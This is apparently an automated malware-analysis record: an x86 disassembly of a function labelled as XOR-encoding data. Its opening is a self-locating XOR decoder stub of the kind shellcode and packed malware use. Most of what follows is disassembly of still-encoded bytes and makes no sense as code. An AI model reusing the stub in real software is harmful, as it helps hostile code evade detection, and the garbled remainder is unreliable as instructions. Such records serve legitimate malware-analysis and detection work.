Function at 0x805fa4
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x805faa
pop ebp
sub ebp, 6
sub ebp, 0x405fa4
jmp 0x806008
add ah, byte [ebx + 0x7e8877e2]
invalid
jmp 0x806011
mov eax, 0x405fa4
add eax, ebp
add eax, 0x93
mov ecx, 0x625
mov edx, 0xd9f55b74
cmc
fnstenv [eax]
adc byte [eax + 0x49], al
xor byte [eax], dl
inc eax
dec ecx
jne 0x806028
jmp 0x80603b
add byte [eax], al
add byte [edi + 0x1e6e3e2f], dl
push ds
xor al, 0x1c
je 0x8060a4
je 0x8060b6
sbb al, 0x74
mov eax, 0x84f57458
and eax, 0xf5ba7584
test byte [0x47ba7584], ah
mov ah, 0x24
mov esp, ecx
je 0x805fff
inc edx
je 0x806081
invalid
ja 0x806026
int3
ja 0x806034
and al, 0x1c
test dword [ebx + 0x7d], eax
je 0x8060a6
invalid
int1
jl 0x80611b
je 0x80611c
je 0x80611d
je 0x8060a9
jmp ecx
loope 0x806124
je 0x806122
je 0x8060af
invalid
stc
je 0x806128
je 0x806128
je 0x80606b
popfd
jbe 0x8060fe
jbe 0x8060b2
mov dh, 0x70
cmp eax, 0x8b80f17b
mov ecx, dword [ebx + 0x7478b629]
invalid
xchg cl, dh
int3
je 0x806191
cld
cmp al, 0x74
je 0x80618f
adc bh, bh
jmp [eax + 0x4d]
push 0x9c8ff44d
jnp 0x806114
outsb dx, byte [esi]
je 0x80619b
je 0x80611d
hlt
invalid
jno 0x806205
je 0x806207
invalid
mov ecx, dword [ebx + 0x7ba6768b]
int1
jno 0x806218
je 0x80621a
invalid
xor ah, byte [esi - 0x5a]
jnp 0x8061a4
push ds
je 0x806224
je 0x8061f9
mov ah, 0x76
cmpsb byte [esi], byte es:[edi]
jnp 0x8061a8
jno 0x80622d
je 0x80622f
invalid
jnp 0x8061bb
jno 0x806240
je 0x806242
invalid
jnp 0x8061ca
jno 0x80624f
je 0x806251
invalid
je 0x80626f
invalid
bound esi, qword [edx]
cmpsb byte [esi], byte es:[edi]
mov ah, 0x7b
invalid
je 0x80627b
je 0x806208
jmp [ebx + 0x77feac5f]
stosd dword es:[edi], eax
pop edi
lodsb al, byte [esi]
invalid
je 0x8061b4
add al, 0x8b
mov ecx, dword [ebx + 0x747475cc]
mov ecx, dword [ebx + 0x7475cc8b]
mov ecx, esp
jne 0x806292
je 0x806293
je 0x806294
je 0x806297
jbe 0x8061c8
cmpsb byte [esi], byte es:[edi]
jnp 0x806215
jno 0x80629a
je 0x80629c
invalid
mov ah, 0x76
cmpsb byte [esi], byte es:[edi]
jbe 0x8061d7
jnp 0x806224
jno 0x8062a9
je 0x8062aa
je 0x8062ab
je 0x806236
invalid
bound esi, qword [edx]
cmpsb byte [esi], byte es:[edi]
xor ah, byte [esi - 0x5a]
jnp 0x806234
stosb byte es:[edi], al
mov ecx, dword [ebx - 0x3048a075]
mov ecx, dword [ebx + 0x75cfb75f]
je 0x8062bc
pop edi
mov bh, 0xcf
jne 0x8062bb
je 0x8062bd
je 0x8062c5
jnp 0x80623c
int1
inc eax
je 0x8062c2
je 0x80621d
int 0x75
jne 0x8062c6
je 0x8062c7
je 0x8062c8
je 0x8062cb
jbe 0x8061fc
cmpsb byte [esi], byte es:[edi]
jnp 0x806249
jno 0x8062ce
je 0x8062d0
invalid
je 0x8062de
je 0x80626a
bound esi, qword [edx]
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
jnp 0x806268
stosb byte es:[edi], al
mov ecx, dword [ebx - 0x7c00dd75]
pop edi
add dword [edi + 0x7c9d2ad0], 0x3c8b8b8b
mov ch, 0x94
xchg eax, edx
sub bl, byte [ebp - 0x74747484]
cmp al, 0xb5
xchg esp, eax
jl 0x806286
jb 0x8062bc
call [ebp + ecx*8 + 0x74747475]
jbe 0x806239
cmpsb byte [esi], byte es:[edi]
jnp 0x806286
int1
jno 0x80630b
je 0x80630d
invalid
bound esi, qword [edx]
cmpsb byte [esi], byte es:[edi]
mov ebp, 0xf17ba676
jno 0x80631a
je 0x80631b
je 0x80631c
je 0x8062a7
invalid
bound esi, qword [edx]
xor ah, byte [esi - 0x5a]
cmpsb byte [esi], byte es:[edi]
jnp 0x8062a5
stosb byte es:[edi], al
mov ecx, dword [ebx + 0x748cf58b]
or dword [esp + esi*2 - 0xb], esi
lodsd eax, dword [esi]
mov ecx, dword [ebx - 0x730a7475]
je 0x806334
mov ecx, dword [ebx + 0x748cf58b]
mov ecx, dword [ebx + 0x71748cf5]
jno 0x806338
je 0x806339
je 0x8062bb
cmc
lodsd eax, dword [esi]
mov ecx, dword [ebx - 0x730a7475]
hlt
mov ecx, dword [ebx - 0xb730a75]
cmc
invalid
je 0x806344
je 0x8062c7
movsd dword es:[edi], dword [esi]
je 0x806349
je 0x80634b
cmc
invalid
movsd dword es:[edi], dword [esi]
je 0x806355
je 0x806357
and bh, bh
sbb dword [edi - 0x7c], 0xffffff87
shr byte [edx], 1
popfd
out dx, eax
mov cl, byte [ebx + 0x3272fe8b]
inc edi
mov ebp, 0x7b759cb4
invalid
xchg eax, edx
shr byte [edx], 1
iretd
sub cl, bh
jne 0x806385
je 0x806387
popfd
pop es
mov cl, byte [ebx + 0x95f298b]
or dword [edi + edi*8 - 0x4d], edi
sub ebp, dword [edx]
call dword [ecx + 0x747cb629]
sub ebp, dword [edx]
jl 0x80631c
push dword [ebx - 0x6e00d5d5]
mov bl, 0x2b
sub bh, bh
xchg ecx, eax
sub dword [esi + 0x2a2b747c], esi
popfd
jo 0x80639f
je 0x8063a1
mov bl, 0xbf
int3
xor al, 0x74
ja 0x8062e9
cmc
mov ah, 0xc7
ja 0x8063b1
je 0x80630c
jno 0x8063b8
je 0x8063b7
into
stc
fidivr word [ecx]
add byte [esp + 0x34], 0x3d
xor al, 0x3d
cmp eax, 0x8b82f17b
mov ecx, dword [ebx + 0x7474709d]
je 0x806369
jnp 0x80633f
or byte [ebx + 0x709d8b8b], 0x74
mov ebx, dword [ebp + 0x74747470]
je 0x8063cb
adc ebx, esp
pop eax
jecxz 0x8063b2
mov dword [0xcaaeaeaf], eax
cmp dword [edx + 0x77], esi
test eax, 0x38f9f9f8
adc bl, bh
or edx, dword [edx - 0x5a]
jb 0x8063e5
lodsd eax, dword [esi]
clc
stc
stc
cmp byte [eax], dl
sti
or ebx, dword [esi - 0x59]
jb 0x8063e2
vpsubw xmm7, xmm0, xmm1
stosb byte es:[edi], al
test byte [esi - 0x5b], 0xca
jmp dword [ebx - 0x6fec488]
mov dword [0xf9013b78], eax
cmp eax, dword [ecx]
stc
stc
stc
cli
das
js 0x806392
stc
stc
stc
stc
idiv byte [ebp - 0x1e]
stc
stc
stc
scasd eax, dword es:[edi]
scasb al, byte es:[edi]
jb 0x806351
jmp 0xfb75e79d
cli
xor ebp, 0xfffffffa
cmc
cli
mov ebp, ebp
or ebx, dword [ebp - 0x5a]
cmpsd dword [esi], dword es:[edi]
js 0x8063e6
sar ecx, 1
stc
stc
mov dl, 0x10
and byte [esi], al
push es
push es
push es
xchg ecx, eax
stc
mov ecx, 0xf991f9f9
stc
stc
xchg ecx, eax
stc
xor eax, 0x6aff9d5
insb byte es:[edi], dx
std
sub bh, cl
stc
jle 0x8063cf
jle 0x8063d8
jb 0x80635a
mov es, ebp
jle 0x8063dd
lds edi, [esi + 0xe]
jb 0x806416
into
pop ecx
stc
stc
stc
cli
pop es
scasd eax, dword es:[edi]
mov byte [0xf9f91278], al
stc
mov ecx, 0xf9ae72f9
stc
jb 0x806390
stc
jb 0x80639b
std
js 0x8063eb
stc
stc
stc
stc
idiv byte [ebp - 0x41]
stc
stc
stc
cli
das
js 0x806434
int1
stc
stc
stc
js 0x80640c
int1
stc
stc
stc
js 0x806402
stc
stc
stc
stc
idiv byte [ebp + 0x2d]
push es
push es
push es
lahf
jb 0x80640d
cmp byte [ecx], dl
cmc
jp 0x80642d
idiv byte [eax + 1]
cli
add edx, edi
stc
stc
stc
idiv byte [esp + esi*8 - 7]
stc
stc
lahf
jb 0x806422
js 0x80643f
push es
idiv cl
stc
cli
cmp edi, eax
loope 0x8063df
mov al, 0x7a
sti
adc byte [ecx], dh
push es
xor dword [esi], eax
push es
push es
adc ch, bh
stc
stc
stc
lcall 0xb9a6, 0x5d419dec
stc
cli
cmp al, 0x78
in al, dx
popfd
inc ecx
pop ebp
cmpsb byte [esi], byte es:[edi]
mov ecx, 0x783cfaf9
cmp dword [edx], edi
std
stc
stc
inc eax
or al, 0xf8
stc
stc
inc ebx
mov dword [0xc98f593f], eax
jmp 0x7d771517